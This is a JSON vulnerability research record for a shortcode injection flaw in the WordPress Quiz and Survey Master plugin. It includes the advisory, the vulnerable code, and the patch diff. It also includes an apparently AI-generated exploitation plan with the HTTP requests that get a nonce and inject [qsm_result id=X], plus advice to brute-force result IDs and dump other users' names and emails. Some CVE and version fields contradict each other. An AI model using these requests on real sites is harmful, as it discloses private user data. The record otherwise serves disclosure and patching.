[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fmuvT-bR4NdWatpmkNw2edH5ONddBG1Yj10YPaA9zgTQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-5797","quiz-and-survey-master-qsm-unauthenticated-shortcode-injection-leading-to-arbitrary-quiz-result-disclosure-via-quiz-answ","Quiz and Survey Master (QSM) \u003C= 11.1.0 - Unauthenticated Shortcode Injection Leading to Arbitrary Quiz Result Disclosure via Quiz Answer Text Input Fields","The Quiz And Survey Master plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in versions up to and including 11.1.0. This is due to insufficient input sanitization and the execution of do_shortcode() on user-submitted quiz answer text. User-submitted answers pass through sanitize_text_field() and htmlspecialchars(), which only strip HTML tags but do not encode or remove shortcode brackets [ and ]. When quiz results are displayed, the plugin calls do_shortcode() on the entire results page output (including user answers), causing any injected shortcodes to be executed. This makes it possible for unauthenticated attackers to inject arbitrary WordPress shortcodes such as [qsm_result id=X] to access other users' quiz submissions without authorization, as the qsm_result shortcode lacks any authorization checks.","quiz-master-next",null,"\u003C=10.1.0","11.1.1","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","2026-04-16 16:42:59","2026-04-17 05:29:28",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff2aa33cc-c1c4-42d4-9c2f-54648426ee4b?source=api-prod",1,[22,23,24,25,26,27,28,29],"js\u002Fqsm-quiz.js","mlw_quizmaster2.php","php\u002Fclasses\u002Fclass-qmn-plugin-helper.php","php\u002Fclasses\u002Fclass-qmn-quiz-creator.php","php\u002Fclasses\u002Fclass-qmn-quiz-manager.php","php\u002Fclasses\u002Fclass-qsm-contact-manager.php","php\u002Fclasses\u002Fclass-qsm-questions.php","php\u002Fclasses\u002Fquestion-types\u002Fclass-question-review.php","researched",false,3,"# Exploitation Research Plan: CVE-2024-5797 - Shortcode Injection in Quiz and Survey Master (QSM)\n\n## 1. Vulnerability Summary\nThe **Quiz and Survey Master (QSM)** plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode injection in versions up to and including 11.1.0. The vulnerability exists because user-submitted quiz answers are sanitized using `sanitize_text_field()` and `htmlspecialchars()`, which strip HTML but fail to remove or encode square brackets `[` and `]`. When a quiz is submitted via AJAX, the plugin generates a results page based on a template (e.g., using the `%QUESTIONS_ANSWERS%` variable). Crucially, the plugin then executes `do_shortcode()` on this final output. An attacker can inject a shortcode like `[qsm_result id=X]` into a text input answer field. When the results are displayed to the attacker, the injected shortcode executes, disclosing the quiz results of an arbitrary submission ID (`X`) because the `qsm_result` shortcode lacks authorization checks.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `qmn_process_quiz` (registered in `QMNQuizManager::add_hooks`)\n- **Vulnerable Parameter**: Question answer fields (e.g., `questionX` where X is the question ID) and potentially contact fields (e.g., `mlwUserName`).\n- **Authentication**: Unauthenticated (the plugin registers `wp_ajax_nopriv_qmn_process_quiz`).\n- **Preconditions**: \n    1. A quiz must exist with at least one text-based question (input or textarea).\n    2. The \"Results Page\" template for that quiz must be configured to display the user's answers (default behavior using `%QUESTIONS_ANSWERS%` or `%USER_ANSWERS_DEFAULT%`).\n\n## 3. Code Flow\n1. **Entry**: An unauthenticated user sends a POST request to `admin-ajax.php` with `action=qmn_process_quiz`.\n2. **AJAX Handler**: `QMNQuizManager::ajax_submit_results()` (in `php\u002Fclasses\u002Fclass-qmn-quiz-manager.php`) is triggered.\n3. **Processing Answers**: The plugin iterates through the submitted answers. For text questions, `QSM_Question_Review::sanitize_answer_from_post` is called, which utilizes `sanitize_text_field()` or `sanitize_textarea_field()`. These functions do not neutralize shortcode brackets.\n4. **Result Generation**: After scoring, the plugin prepares the \"Message After\" content (the results page). It replaces template variables (like `%QUESTIONS_ANSWERS%`) with the user-provided (and injected) answer strings.\n5. **Shortcode Execution**: The plugin calls `do_shortcode()` on the resulting string.\n6. **Sink**: The WordPress shortcode parser encounters `[qsm_result id=X]`. It calls `QMNQuizManager::shortcode_display_result()`, which fetches and returns the quiz result for the specified ID without checking if the current user owns that result.\n7. **Disclosure**: The leaked result data is returned in the AJAX response to the attacker.\n\n## 4. Nonce Acquisition Strategy\nThe `qmn_process_quiz` action requires a nonce. This nonce is generated specifically for each quiz and can be obtained via a secondary AJAX action.\n\n1. **Find a Quiz**: Identify an existing quiz ID (e.g., `1`).\n2. **Fetch Nonce**: Perform an unauthenticated AJAX request to get the nonce for that specific quiz ID.\n   - **Action**: `qsm_create_quiz_nonce` (registered in `QMNQuizManager::add_hooks`).\n   - **Parameter**: `quiz_id`.\n3. **Extract from Response**: The response is a JSON object.\n   - **Key**: `response.data.nonce`.\n   - **Note**: The response also provides a `unique_key` which may be required in the submission.\n\n### Implementation via Browser Eval:\nIf navigating to a page containing the quiz:\n```javascript\n\u002F\u002F Localization object found in js\u002Fqsm-quiz.js via qmn_ajax_object\nconst ajax_url = qmn_ajax_object.ajaxurl;\n\u002F\u002F You can also find the quiz ID from the HTML (.qsm-quiz-container-ID)\n```\n\n## 5. Exploitation Strategy\n### Step 1: Create Target Data\nSubmit a \"legitimate\" quiz response to generate a `result_id` in the database.\n\n### Step 2: Obtain Submission Nonce\nRequest a nonce for the target quiz.\n- **Request**:\n  ```http\n  POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n  Content-Type: application\u002Fx-www-form-urlencoded\n\n  action=qsm_create_quiz_nonce&quiz_id=1\n  ```\n- **Capture**: `nonce` and `unique_key`.\n\n### Step 3: Inject Shortcode\nSubmit a second quiz response containing the injection.\n- **Request**:\n  ```http\n  POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n  Content-Type: application\u002Fx-www-form-urlencoded\n\n  action=qmn_process_quiz&quiz_id=1&qmn_nonce=[NONCE]&qsm_unique_key=[UNIQUE_KEY]&question1=[qsm_result id=1]&timer=10\n  ```\n- **Note**: `question1` assumes the question ID is 1. The payload is `[qsm_result id=1]`.\n\n### Step 4: Capture Disclosure\nThe response to the Step 3 request will contain the rendered HTML of the results page. Look for the output of the `[qsm_result]` shortcode, which will contain the details (name, email, answers) of result ID 1.\n\n## 6. Test Data Setup\n1. **Create Quiz**:\n   ```bash\n   wp eval \"global \\$wpdb; \\$wpdb->insert(\\\"{\\$wpdb->prefix}mlw_quizzes\\\", ['quiz_name' => 'Vulnerable Quiz', 'message_after' => 'Results: %QUESTIONS_ANSWERS%', 'deleted' => 0]);\"\n   # Get the ID (likely 1)\n   ```\n2. **Create Question**:\n   ```bash\n   wp eval \"global \\$wpdb; \\$wpdb->insert(\\\"{\\$wpdb->prefix}mlw_questions\\\", ['quiz_id' => 1, 'question_type_new' => 'text', 'question_name' => 'Enter text', 'answer_array' => serialize([]), 'deleted' => 0]);\"\n   ```\n3. **Ensure Page Exists**:\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"Quiz Page\" --post_content='[qsm quiz=\"1\"]'\n   ```\n4. **Generate Legitimate Result**:\n   Perform one submission via Step 2\u002F3 (without injection) to populate the results table and get a `result_id`.\n\n## 7. Expected Results\nA successful exploit will return a JSON response where the `display` or `html` field contains the rendered results of the *other* user's submission.\nExample snippet in response:\n```html\n\u003Cdiv class=\"qsm-results-container\">\n    \u003Ch3>Result for John Doe\u003C\u002Fh3>\n    \u003Cp>Email: john@example.com\u003C\u002Fp>\n    ... [Data from Result ID 1] ...\n\u003C\u002Fdiv>\n```\n\n## 8. Verification Steps\n1. **Check Results Table**: Confirm multiple entries exist in `wp_mlw_results`.\n   ```bash\n   wp db query \"SELECT result_id, quiz_id, name, email FROM wp_mlw_results\"\n   ```\n2. **Confirm Vulnerable Code Path**: Verify that the text submitted in Step 3 matches the data belonging to the `result_id` targeted in the shortcode.\n\n## 9. Alternative Approaches\n- **Contact Fields**: If question fields are heavily sanitized, try injecting into `mlwUserName` or `mlwUserEmail` contact fields handled by `QSM_Contact_Manager`.\n- **Shortcode Variants**: If `[qsm_result]` is somehow restricted, use other info-disclosing shortcodes like `[qsm_leaderboard quiz_id=1]` or standard WordPress shortcodes to confirm execution (e.g., `[site_value...]`).\n- **Timing\u002FID Brute Force**: Since `result_id` is an auto-incrementing integer, an attacker can iterate through IDs (e.g., `[qsm_result id=1]`, `[qsm_result id=2]`) to dump the entire results database.","Unauthenticated attackers can inject arbitrary WordPress shortcodes into quiz answer fields, which are subsequently executed when the plugin renders the results page using do_shortcode(). By injecting the [qsm_result] shortcode, an attacker can bypass authorization and disclose sensitive quiz submission data belonging to any user by providing their result ID.","\u002F\u002F php\u002Fclasses\u002Fquestion-types\u002Fclass-question-review.php:36\npublic function sanitize_answer_from_post( $data ) {\n\tif ( 'text_area' === $this->input_field ) {\n\t\treturn sanitize_textarea_field( wp_unslash( $data ) );\n\t} else {\n\t\treturn sanitize_text_field( wp_unslash( $data ) );\n\t}\n}\n\n---\n\n\u002F\u002F php\u002Fclasses\u002Fclass-qmn-quiz-manager.php:574\npublic function shortcode_display_result( $attr ) {\n\t$id = intval( $attr['id'] );\n\tglobal $wpdb;\n\t$result_data = $wpdb->get_row( $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}mlw_results WHERE result_id = %d\", $id ), ARRAY_A );\n\tif ( $result_data ) {\n\t\twp_enqueue_style( 'qmn_quiz_common_style', $this->common_css, array(), $mlwQuizMasterNext->version );\n\t\t\u002F\u002F ... (continues to render result without checking ownership)","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.0\u002Fphp\u002Fclasses\u002Fclass-qmn-quiz-manager.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.1\u002Fphp\u002Fclasses\u002Fclass-qmn-quiz-manager.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.0\u002Fphp\u002Fclasses\u002Fclass-qmn-quiz-manager.php\t2026-04-06 14:03:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.1\u002Fphp\u002Fclasses\u002Fclass-qmn-quiz-manager.php\t2026-04-14 13:33:08.000000000 +0000\n@@ -577,6 +577,20 @@\n \t\t\tglobal $wpdb;\n \t\t\t$result_data = $wpdb->get_row( $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}mlw_results WHERE result_id = %d\", $id ), ARRAY_A );\n \t\t\tif ( $result_data ) {\n+\t\t\t\t$current_user_id = get_current_user_id();\n+\t\t\t\t$result_user_id  = intval( $result_data['user'] );\n+\t\t\t\t$can_view_result = false;\n+\t\t\t\tif ( current_user_can( 'manage_options' ) || current_user_can( 'qsm_view_results' ) ) {\n+\t\t\t\t\t$can_view_result = true;\n+\t\t\t\t} elseif ( $current_user_id > 0 && $current_user_id === $result_user_id ) {\n+\t\t\t\t\t$can_view_result = true;\n+\t\t\t\t}\n+\t\t\t\t$can_view_result = apply_filters( 'qsm_can_view_result', $can_view_result, $id, $result_data, $current_user_id );\n+\t\t\t\tif ( ! $can_view_result ) {\n+\t\t\t\t\tesc_html_e( 'You do not have permission to view this result.', 'quiz-master-next' );\n+\t\t\t\t\t$content = ob_get_clean();\n+\t\t\t\t\treturn $content;\n+\t\t\t\t}\n \t\t\t\twp_enqueue_style( 'qmn_quiz_common_style', $this->common_css, array(), $mlwQuizMasterNext->version );\n \t\t\t\twp_style_add_data( 'qmn_quiz_common_style', 'rtl', 'replace' );\n \t\t\t\twp_enqueue_style( 'dashicons' );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.0\u002Fphp\u002Fclasses\u002Fquestion-types\u002Fclass-question-review.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.1\u002Fphp\u002Fclasses\u002Fquestion-types\u002Fclass-question-review.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.0\u002Fphp\u002Fclasses\u002Fquestion-types\u002Fclass-question-review.php\t2026-04-06 14:03:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.1\u002Fphp\u002Fclasses\u002Fquestion-types\u002Fclass-question-review.php\t2026-04-14 13:33:08.000000000 +0000\n@@ -35,10 +35,11 @@\n \n \tpublic function sanitize_answer_from_post( $data ) {\n \t\tif ( 'text_area' === $this->input_field ) {\n-\t\t\treturn sanitize_textarea_field( wp_unslash( $data ) );\n+\t\t\t$sanitized = sanitize_textarea_field( wp_unslash( $data ) );\n \t\t} else {\n-\t\t\treturn sanitize_text_field( wp_unslash( $data ) );\n+\t\t\t$sanitized = sanitize_text_field( wp_unslash( $data ) );\n \t\t}\n+\t\treturn strip_shortcodes( $sanitized );\n \t}","The exploit is achieved by submitting a quiz response that contains a shortcode payload. \n\n1.  **Preparation**: Identify a target Quiz ID. Use an unauthenticated AJAX request to `action=qsm_create_quiz_nonce` with the `quiz_id` to retrieve a valid security nonce and `unique_key` required for submission.\n2.  **Injection**: Send a POST request to `admin-ajax.php` with `action=qmn_process_quiz`. In one of the question answer parameters (e.g., `question1`), include the payload `[qsm_result id=X]`, where `X` is the ID of a victim's quiz result.\n3.  **Execution**: The plugin processes the answers using `sanitize_text_field()`, which fails to remove square brackets. It then generates the results page content, substituting the user's answer into the template. Finally, it calls `do_shortcode()` on the resulting HTML.\n4.  **Disclosure**: Because the `qsm_result` shortcode lacks ownership or permission checks, it fetches and renders the full details of the quiz result for ID `X`. This rendered data is returned to the attacker in the AJAX response.","gemini-3-flash-preview","2026-04-20 20:17:54","2026-04-20 20:18:23",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","11.1.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags\u002F11.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquiz-master-next.11.1.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags\u002F11.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquiz-master-next.11.1.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags"]